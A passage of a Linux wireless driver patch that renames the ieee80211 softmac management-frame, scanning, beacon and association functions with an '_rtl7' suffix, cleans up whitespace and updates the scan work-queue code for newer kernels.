**tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + 